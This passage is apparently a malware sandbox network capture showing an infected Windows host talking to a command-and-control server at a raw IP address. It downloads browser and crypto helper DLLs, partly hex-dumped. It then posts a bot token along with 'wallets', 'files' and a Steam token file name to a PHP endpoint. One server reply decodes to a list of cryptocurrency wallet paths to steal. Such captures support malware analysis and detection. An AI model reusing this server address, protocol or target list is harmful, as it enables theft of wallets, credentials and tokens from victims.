1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 7, 2024 18:26:44.331697941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 7, 2024 18:26:44.331712008 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 7, 2024 18:26:44.332216024 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 7, 2024 18:26:44.332227945 CET	496	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 7, 2024 18:26:44.332487106 CET	1236	IN	Data Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Dec 7, 2024 18:26:44.332498074 CET	224	IN	Data Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Esh
Dec 7, 2024 18:26:44.332509041 CET	1236	IN	Data Raw: 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 8a 88 00 01 00 00 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a Data Ascii: yU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQ
Dec 7, 2024 18:26:44.332520962 CET	1236	IN	Data Raw: f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 Data Ascii: fpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo
Dec 7, 2024 18:26:44.340043068 CET	1236	IN	Data Raw: 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d Data Ascii: M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2t
Dec 7, 2024 18:26:44.340153933 CET	1236	IN	Data Raw: ff 8b 4d c4 01 d1 89 4d c4 11 c7 89 c3 89 7d bc 31 fe 8b 85 5c ff ff ff 31 c8 89 f1 0f a4 c1 01 89 4d 80 0f a4 f0 01 89 85 5c ff ff ff 8b 85 74 ff ff ff 8b 48 40 89 8d 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 Data Ascii: MM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11
Dec 7, 2024 18:26:45.956959963 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:46.396586895 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 7, 2024 18:26:47.818002939 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:48.256354094 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 7, 2024 18:26:49.613174915 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:50.053987980 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 7, 2024 18:26:54.913343906 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:55.400048971 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 7, 2024 18:26:55.950572014 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:56.396708012 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 7, 2024 18:26:57.015949965 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 18:26:57.952004910 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:58.004710913 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"wallets------BGIDBKKKKKFBGDGDHIDB--
Dec 7, 2024 18:26:58.444885015 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 7, 2024 18:26:58.447810888 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 2d 2d 0d 0a Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="message"files------FBFHJJJDAFBKEBGDGHCG--
Dec 7, 2024 18:26:58.903109074 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:58.914199114 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file"------CGIEBAFHJJDBGCAKJJKF--
Dec 7, 2024 18:26:59.847480059 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:59.849781990 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="message"ybncbhylepme------AFCAAEGDBKJJKECBKFHC--
